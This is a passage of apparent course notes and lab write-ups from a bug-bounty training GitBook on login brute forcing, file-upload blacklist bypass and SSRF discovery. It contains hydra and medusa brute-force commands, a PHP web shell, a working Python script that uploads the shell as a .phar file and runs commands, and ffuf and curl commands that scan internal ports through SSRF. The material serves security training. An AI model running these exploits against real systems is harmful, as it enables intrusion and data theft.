Recommendations](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-7.-remediation-recommendations) * [8\. Final Answers (Exam Response Format)](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up#id-8.-final-answers-exam-response-format) Copy curl -I http://<IP>:<PORT> HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm="Restricted" Copy hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt <IP> http-get / -s <PORT> [http-get] host: <IP> login: admin password: <hidden> Copy curl http://<IP>:<PORT> -u "admin:<hidden>" | tail Copy <p>This is the username you will need for part 2 <span class="flag">{hidden}</span></p> Copy hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://<IP>:<PORT> login: satwossh password: password1 Copy cat IncidentReport.txt "...All logs point towards Thomas Smith being the FTP user..." Copy nmap localhost 21/tcp open ftp 22/tcp open ssh Copy ./username-anarchy Thomas Smith > thomas_smith.txt Copy medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 \ | grep "ACCOUNT FOUND" User: {hidden} Password: chocolate! Copy ftp ftp://{hidden}:chocolate!@localhost ftp> get flag.txt ftp> !cat flag.txt {hidden} --- # Blacklist Filters | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters.md) . Blacklist Filters[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#blacklist-filters) ---------------------------------------------------------------------------------------------------------------------------------------- * * * In the previous section, we saw an example of a web application that only applied type validation controls on the front-end (i.e., client-side), which made it trivial to bypass these controls. This is why it is always recommended to implement all security-related controls on the back-end server, where attackers cannot directly manipulate it. Still, if the type validation controls on the back-end server were not securely coded, an attacker can utilize multiple techniques to bypass them and reach PHP file uploads. The exercise we find in this section is similar to the one we saw in the previous section, but it has a blacklist of disallowed extensions to prevent uploading web scripts. We will see why using a blacklist of common extensions may not be enough to prevent arbitrary file uploads and discuss several methods to bypass it. * * * ### Blacklisting Extensions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#blacklisting-extensions) Let's start by trying one of the client-side bypasses we learned in the previous section to upload a PHP script to the back-end server. We'll intercept an image upload request with Burp, replace the file content and filename with our PHP script's, and forward the request: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_disallowed_type.jpg&width=768&dpr=3&quality=100&sign=1065e83a&sv=2) As we can see, our attack did not succeed this time, as we got `Extension not allowed`. This indicates that the web application may have some form of file type validation on the back-end, in addition to the front-end validations. There are generally two common forms of validating a file extension on the back-end: 1. Testing against a `blacklist` of types 2. Testing against a `whitelist` of types Furthermore, the validation may also check the `file type` or the `file content` for type matching. The weakest form of validation amongst these is `testing the file extension against a blacklist of extension` to determine whether the upload request should be blocked. For example, the following piece of code checks if the uploaded file extension is `PHP` and drops the request if it is: Code: php The code is taking the file extension (`$extension`) from the uploaded file name (`$fileName`) and then comparing it against a list of blacklisted extensions (`$blacklist`). However, this validation method has a major flaw. `It is not comprehensive`, as many other extensions are not included in this list, which may still be used to execute PHP code on the back-end server if uploaded. Tip: The comparison above is also case-sensitive, and is only considering lowercase extensions. In Windows Servers, file names are case insensitive, so we may try uploading a `php` with a mixed-case (e.g. `pHp`), which may bypass the blacklist as well, and should still execute as a PHP script. So, let's try to exploit this weakness to bypass the blacklist and upload a PHP file. * * * ### Fuzzing Extensions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#fuzzing-extensions) As the web application seems to be testing the file extension, our first step is to fuzz the upload functionality with a list of potential extensions and see which of them return the previous error message. Any upload requests that do not return an error message, return a different message, or succeed in uploading the file, may indicate an allowed file extension. There are many lists of extensions we can utilize in our fuzzing scan. `PayloadsAllTheThings` provides lists of extensions for [PHP](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) and [.NET](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP) web applications. We may also use `SecLists` list of common [Web Extensions](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt) . We may use any of the above lists for our fuzzing scan. As we are testing a PHP application, we will download and use the above [PHP](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst) list. Then, from `Burp History`, we can locate our last request to `/upload.php`, right-click on it, and select `Send to Intruder`. From the `Positions` tab, we can `Clear` any automatically set positions, and then select the `.php` extension in `filename="HTB.php"` and click the `Add` button to add it as a fuzzing position: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_burp_fuzz_extension.jpg&width=768&dpr=3&quality=100&sign=cf952cdc&sv=2) We'll keep the file content for this attack, as we are only interested in fuzzing file extensions. Finally, we can `Load` the PHP extensions list from above in the `Payloads` tab under `Payload Options`. We will also un-tick the `URL Encoding` option to avoid encoding the (`.`) before the file extension. Once this is done, we can click on `Start Attack` to start fuzzing for file extensions that are not blacklisted: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_burp_intruder_result.jpg&width=768&dpr=3&quality=100&sign=b977718e&sv=2) We can sort the results by `Length`, and we will see that all requests with the Content-Length (`193`) passed the extension validation, as they all responded with `File successfully uploaded`. In contrast, the rest responded with an error message saying `Extension not allowed`. * * * ### Non-Blacklisted Extensions[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#non-blacklisted-extensions) Now, we can try uploading a file using any of the `allowed extensions` from above, and some of them may allow us to execute PHP code. `Not all extensions will work with all web server configurations`, so we may need to try several extensions to get one that successfully executes PHP code. Let's use the `.phtml` extension, which PHP web servers often allow for code execution rights. We can right-click on its request in the Intruder results and select `Send to Repeater`. Now, all we have to do is repeat what we have done in the previous two sections by changing the file name to use the `.phtml` extension and changing the content to that of a PHP web shell: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php5_web_shell.jpg&width=768&dpr=3&quality=100&sign=c7b3a77c&sv=2) As we can see, our file seems to have indeed been uploaded. The final step is to visit our upload file, which should be under the image upload directory (`profile_images`), as we saw in the previous section. Then, we can test executing a command, which should confirm that we successfully bypassed the blacklist and uploaded our web shell: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F136%2Ffile_uploads_php_manual_shell.jpg&width=768&dpr=3&quality=100&sign=ada9df03&sv=2) #### Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#try-to-find-an-extension-that-is-not-blacklisted-and-can-execute-php-code-on-the-web-server-and-use) First we can just upload a photo to see a successful response ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FtQtwDZNIqo0c6bmvKFWc%252Fimage.png%3Falt%3Dmedia%26token%3D50529fce-1ae1-4d0c-a0f3-3e8d3ec5474c&width=768&dpr=3&quality=100&sign=531ccc6c&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F6oYjdAe9hfhCww3YUOrh%252Fimage.png%3Falt%3Dmedia%26token%3D3262c1bb-0d70-4391-9261-514c57ed7dab&width=768&dpr=3&quality=100&sign=abe79995&sv=2) Send the upload.php to intruder, clear positions, highlight the .php portion, and now we can load the web extension wordlist from seclists ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FBW1cGqfwOSNeabNJPa4A%252Fimage.png%3Falt%3Dmedia%26token%3D28e9e669-6d21-4a7b-a520-68462e1d1dea&width=768&dpr=3&quality=100&sign=3481c258&sv=2) Remember to unclick url encodiing check box at the bottom, now start the attack I noticed the .phar had a unique response, uppon visiting the endpoint I see that the command for hellow worked! Sent the request to repeater and now included the orginal shell.php code And was able to get remote code execution ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FhZq22O9pbKXu9pNdfdU0%252Fimage.png%3Falt%3Dmedia%26token%3D6cc5de42-5b58-477e-a00d-bed3b0a91c25&width=768&dpr=3&quality=100&sign=572f7084&sv=2) and at with the cmd injection set, we can cat for the /flag.txt use %20 for spaces ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FsQIvrIPP7BorRisHHxXI%252Fimage.png%3Falt%3Dmedia%26token%3D5e56c320-05e1-4ebc-8324-12219b5f390a&width=768&dpr=3&quality=100&sign=31d17a47&sv=2) #### Python Automated Script[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#python-automated-script) Output [PreviousClient-Side Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/client-side-validation) [NextWhitelist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/whitelist-filters) Last updated 9 months ago * [Blacklist Filters](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#blacklist-filters) * [Blacklisting Extensions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#blacklisting-extensions) * [Fuzzing Extensions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#fuzzing-extensions) * [Non-Blacklisted Extensions](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/bypassing-filters/blacklist-filters#non-blacklisted-extensions) Copy $fileName = basename($_FILES["uploadFile"]["name"]); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $blacklist = array('php', 'php7', 'phps'); if (in_array($extension, $blacklist)) { echo "File type not allowed"; die(); } Copy <?php system($_REQUEST['cmd']); ?> Copy """ --------------------------- BLACKLIST FILTERS BYPASS --------------------------- Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt" """ # Import Request to send web request to the internet import requests import sys import requests import subprocess # Module to display output in different colors. from colorama import Fore, Back, Style """ Disable the display of certificate warnings when requests are made to websites using insecure certificates. This can be useful in scenarios where targeted web applications use self-signed certificates as is the case in the AWAE labs. """ requests.packages.urllib3.\ disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # Optional headers to mimic your Burp capture HEADERS = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "Origin": "http://{target}", "Referer": "http://{target}/", # don't set Content-Type here — requests will set the correct multipart boundary } def main(): """ Main entry point: - validate CLI args - build request info - simulate (or actually perform) the request - format and print the response blocks """ # If the script is ran without specify the target if len(sys.argv) != 2: print(f"In CLI, Usage should be: {sys.argv[0]} target") print(f"Example: {sys.argv[0]} 10.0.0.1") print(f"Example: {sys.argv[0]} manageengine") sys.exit(1) # Obtain taregt from CLI target = sys.argv[1].strip().rstrip('/') # from CLI202 # ============================ PHP SCRIPT ============================ # php_web_shell_filename = "shell.phar" php_content = "<?php system($_REQUEST['cmd']); ?>" # ============================ UPLOAD AND ACCESS URL of TARGET ============================ # upload_url = f"http://{target}/upload.php" # Specify Profile Images access_url = f"http://{target}/profile_images/{php_web_shell_filename}?cmd=cat%20/flag.txt" # ============================ UPLOAD FILE TO TARGET, By passing blacklist filters ============================ # # Upload File upload_response = upload_file(php_web_shell_filename, php_content, upload_url) # Display upload Response print_response(upload_response) # ============================ ACESS FLAG AND WEBSHELL RESPONSE of TARGET ============================ # web_shell_response = access_web_shell(access_url) # Display Flag / Web Shell Response print_response(web_shell_response) def upload_file(php_web_shell_filename, php_content, upload_url): # FILE INFORMATION files = { # form field name 'file' may vary by app; change if necessary "uploadFile": (php_web_shell_filename, php_content.encode("utf-8"), "application/x-php"), } # ============================ Initiate the Request to UPLOAD PHP FILE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.post(upload_url, files=files, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### UPLOAD FILE RESPONSE ###############") # return response to upload return r def access_web_shell(access_url): # ============================ ACCESS Web Shell / PHP UPLOAD FILE RESPONSE ============================ # try: # WARNING: verify=False disables TLS certificate verification. r = requests.get(access_url, headers={"User-Agent": HEADERS["User-Agent"]}, verify=False, timeout=10) except requests.RequestException as e: print(f"Request failed: {e}") sys.exit(2) print("\n ############### WEB SHELL RESPONSE WITH FLAG ###############") # return response to with flag return r def print_response(response): r = response # ============================ FORMAT OUTPUT ============================ # print("\n======= Custom Exploit Development =======\n") print(format_text("REQUEST METHOD:", r.request.method)) print(format_text("REQUEST URL:", r.request.url)) print(format_text("REQUEST HEADERS,r.headers is: :", r.request.headers)) print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body print(format_text("RESPONSE STATUS,r.status_code is:", r.status_code)) print(format_text("RESPONSE COOKIES,r.cookies is:", r.cookies)) print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text))) print(format_text("RESPONSE (first 300 chars):\n", r.text)) def format_text(title,item): """ Helper to create a nicely formatted console output block. - title: short label for the section (e.g. "r.status_code is:") - item: item to display (will be stringified) Returns a string that contains the title, a separator, the item, and a short marker. """ cr = '\r\n' section_break = cr + "*" * 20 + cr item = str(item) text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t' return text if __name__ == "__main__": main() Copy ┌──(venv)─(kali㉿kali)-[~/CWES/File-Upload-Attacks/Bypassing-Filters/Blacklist-Filters] └─$ python3 black-list-filters.py 94.237.49.128:35352 ############### UPLOAD FILE RESPONSE ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** POST ******************** REQUEST URL: ******************** http://94.237.49.128:35352/upload.php ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'python-requests/2.32.5', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'Content-Length': '219', 'Content-Type': 'multipart/form-data; boundary=6e17848422e7bb2f11622ba7c255802d'} ******************** REQUEST BODY (raw): ******************** b'--6e17848422e7bb2f11622ba7c255802d\r\nContent-Disposition: form-data; name="uploadFile"; filename="shell.phar"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_REQUEST[\'cmd\']); ?>\r\n--6e17848422e7bb2f11622ba7c255802d--\r\n' ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 26 ******************** RESPONSE (first 300 chars): ******************** File successfully uploaded ******************** ############### WEB SHELL RESPONSE WITH FLAG ############### ======= Custom Exploit Development ======= REQUEST METHOD: ******************** GET ******************** REQUEST URL: ******************** http://94.237.49.128:35352/profile_images/shell.phar?cmd=cat%20/flag.txt ******************** REQUEST HEADERS,r.headers is: : ******************** {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'} ******************** REQUEST BODY (raw): ******************** None ******************** RESPONSE STATUS,r.status_code is: ******************** 200 ******************** RESPONSE COOKIES,r.cookies is: ******************** <RequestsCookieJar[]> ******************** RESPONSE CONTENT-LENGTH: ******************** 32 ******************** RESPONSE (first 300 chars): ******************** HTB{1_c4n_n3v3r_b3_bl4ckl1573d} ******************** --- # Identifying SSRF | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf.md) . Identifying SSRF[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#identifying-ssrf) ------------------------------------------------------------------------------------------------------------------------ * * * After discussing the basics of SSRF vulnerabilities, let us jump right into an example web application. * * * ### [Confirming SSRF](https://academy.hackthebox.com/beta/module/145/section/1295#confirming-ssrf) [](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#confirming-ssrf) Looking at the web application, we are greeted with some generic text as well as functionality to schedule appointments: http://<SERVER\_IP>:<PORT>/ ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_identify_1.png&width=768&dpr=3&quality=100&sign=6af20831&sv=2) After checking the availability of a date, we can observe the following request in Burp: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_identify_2.png&width=768&dpr=3&quality=100&sign=131b34b6&sv=2) HTTP POST request to /index.php with date parameter; response indicates availability. As we can see, the request contains our chosen date and a URL in the parameter `dateserver`. This indicates that the web server fetches the availability information from a separate system determined by the URL passed in this POST parameter. To confirm an SSRF vulnerability, let us supply a URL pointing to our system to the web application: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_identify_3.png&width=768&dpr=3&quality=100&sign=5cc4e607&sv=2) HTTP POST request to /index.php with date parameter to 172.17.0.1:8000/ssrf. In a `netcat` listener, we can receive a connection, thus confirming SSRF: To determine whether the HTTP response reflects the SSRF response to us, let us point the web application to itself by providing the URL `http://127.0.0.1/index.php`: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_identify_4.png&width=768&dpr=3&quality=100&sign=dbb6fa24&sv=2) HTTP POST request to /index.php with date parameter; response includes DefendTech Innovations title. Since the response contains the web application's HTML code, the SSRF vulnerability is not blind, i.e., the response is displayed to us. * * * ### [Enumerating the System](https://academy.hackthebox.com/beta/module/145/section/1295#enumerating-the-system) [](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#enumerating-the-system) We can use the SSRF vulnerability to conduct a port scan of the system to enumerate running services. To achieve this, we need to be able to infer whether a port is open or not from the response to our SSRF payload. If we supply a port that we assume is closed (such as `81`), the response contains an error message: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssrf%2Fssrf_identify_5.png&width=768&dpr=3&quality=100&sign=d29d44a5&sv=2) HTTP POST request to /index.php with date parameter; response shows connection error to 127.0.0.1 port 81. This enables us to conduct an internal port scan of the web server through the SSRF vulnerability. We can do this using a fuzzer like `ffuf`. Let us first create a wordlist of the ports we want to scan. In this case, we'll use the first 10,000 ports: Afterward, we can fuzz all open ports by filtering out responses containing the error message we have identified earlier. The results show that the web server runs a service on port `3306`, typically used for a SQL database. If the web server ran other internal services, such as internal web applications, we could also identify and access them through the SSRF vulnerability. #### Exploit a SSRF vulnerability to identify an internal web application. Access the internal application to obtain the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#exploit-a-ssrf-vulnerability-to-identify-an-internal-web-application.-access-the-internal-applicatio) Target: 10.129.201.127 To confirm an SSRF vulnerability, let us supply a URL pointing to our system to the web application: ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F9hIfHSDMIOPrsjaAPPky%252Fimage.png%3Falt%3Dmedia%26token%3Dc961d080-e5bc-4a12-bbed-02da0e1acb92&width=768&dpr=3&quality=100&sign=3a8f1aae&sv=2) We can confirm the SSRF throught our netcat listener ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FGNp6r8IZynm1UnQbF5hh%252Fimage.png%3Falt%3Dmedia%26token%3D6762181a-9940-40c6-88b1-288f0c773853&width=768&dpr=3&quality=100&sign=3bb4c994&sv=2) ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fgs902KcCnl0rrK8tLLGR%252Fimage.png%3Falt%3Dmedia%26token%3D0e25b044-493a-4030-80fa-58f979e576e9&width=768&dpr=3&quality=100&sign=1b80a92e&sv=2) #### What it means (breakdown)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#what-it-means-breakdown) * `ffuf` — the Fuzz Faster U Fool tool (HTTP fuzzing tool). * `-w ./ports.txt` — use `./ports.txt` as the wordlist. Each line in this file will be tried in place of the `FUZZ` token. * `-u http://172.17.0.2/index.php` — the target URL to send requests to (the web application under test). * `-X POST` — perform the request with the **POST** method (same idea as `curl -X POST`). * `-H "Content-Type: application/x-www-form-urlencoded"` — add that HTTP header so the server treats the body as form data. * `-d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01"` — the POST body. `**FUZZ**` inside this string is the placeholder that ffuf replaces with each entry from `ports.txt`. So the `dateserver` parameter becomes `http://127.0.0.1:PORT/` (or whatever each word yields). * `-fr "Failed to connect to"` — **filter out** results where the response body contains the string `Failed to connect to`. In other words, hide failed connection responses and show only responses that don’t include that phrase. #### Overall intent / what it’s testing[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#overall-intent-what-its-testing) You’re fuzzing the `dateserver` parameter to try different values (from `ports.txt`) and see which ones the target at `172.17.0.2` will successfully reach or return different output for. Because `dateserver` contains `http://127.0.0.1:FUZZ/`, this looks like a **SSRF / internal service discovery** attempt — enumerating local ports/services on `127.0.0.1` (localhost) of the target by inserting port numbers or service endpoints from `ports.txt`. If the app attempts to contact `dateserver` and you see differing responses (or no `"Failed to connect to"`), that can indicate a service listening on that port or different behavior that’s worth investigating. #### What to look for in results[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#what-to-look-for-in-results) * Responses that are **not filtered out** (i.e., do not contain the `"Failed to connect to"` string) — these may indicate successful connections or different error messages. * Changes in status code, content length, or response time — these often indicate a reachable service or distinct behavior. * Any returned content that reveals service banners, error pages, or other useful info. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FI92wm1IN65cAVnL6YKaA%252Fimage.png%3Falt%3Dmedia%26token%3D1502476e-c750-4f65-9228-b853871dfaff&width=768&dpr=3&quality=100&sign=c49d6b5d&sv=2) From Here we can see 3 unqiue responses. The First on port 80, 3306, and 8000 Initally I looked at the request using burp suite, first I check port 80 ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FBWmrMKrzlImCMoIMrYDK%252Fimage.png%3Falt%3Dmedia%26token%3D3e9583ef-be72-4b75-859a-e5daf7630982&width=768&dpr=3&quality=100&sign=c21e1f28&sv=2) I ended up getting an interesting view of the source code Alternate you could have curled the request with this command Output: Testing with 3306 Yielded no results SO Finally I tried 8000, and recieved the flag ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Feu21aOmBQPsKChwdnZCb%252Fimage.png%3Falt%3Dmedia%26token%3D5ef655d5-8934-4ded-adfa-526631b08787&width=768&dpr=3&quality=100&sign=2eb07d81&sv=2) [PreviousSSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf) [NextExploiting SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf) Last updated 10 months ago * [Identifying SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#identifying-ssrf) * [Confirming SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#confirming-ssrf) * [Enumerating the System](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf#enumerating-the-system) Copy Code4Christ@htb[/htb]$ nc -lnvp 8000 listening on [any] 8000 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 38782 GET /ssrf HTTP/1.1 Host: 172.17.0.1:8000 Accept: */* Copy Code4Christ@htb[/htb]$ seq 1 10000 > ports.txt Copy Code4Christ@htb[/htb]$ ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to" <SNIP> [Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]     * FUZZ: 3306 [Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]     * FUZZ: 80 Copy ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to" Copy curl -X POST 10.129.201.127 -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:80/&date=2024-01-01" Copy ┌─[us-academy-3]─[10.10.14.95]─[htb-ac-1067736@htb-o02q5sgppe]─[~] └──╼ [★]$ curl -X POST 10.129.201.127 -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:80/&date=2024-01-01" <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="css/squarely.css"> <!--common.css --> <link rel="stylesheet" href="css/common.css"> <title>DefendTech Innovations</title> </head> <body> <!--navbar --> <nav class="navbar navbar-expand-lg navbar-dark bg-primary"> <a class="navbar-brand" href="#">DefendTech Innovations</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> <ul class="navbar-nav ml-auto"> <li class="nav-item active"> <a class="nav-link" href="#">Home <span class="sr-only">(current)</span></a> </li> <li class="nav-item"> <a class="nav-link" href="#">Features</a> </li> <li class="nav-item"> <a class="nav-link" href="#">Services</a> </li> <li class="nav-item"> <a class="nav-link" href="#">About</a> </li> </ul> </div> </nav> <div class="hero-header" style="background-image: url('img/business.jpg')"> <div class="header"> <h1>DefendTech Innovations</h1> <p>Empowering Your Digital Defense, One Innovation at a Time!</p> </div> </div> <!--main content--> <div class="container mb-4 mt-4"> <div class="row"> <div class="col-md-8 mb-3"> <h2>About us</h2> <hr> <p>Welcome to DefendTech Innovations, your trusted partner in cybersecurity excellence. At DefendTech, we are passionate about safeguarding your digital assets and protecting your business from the ever-evolving landscape of cyber threats.</p> <p>Our team of dedicated experts brings together decades of 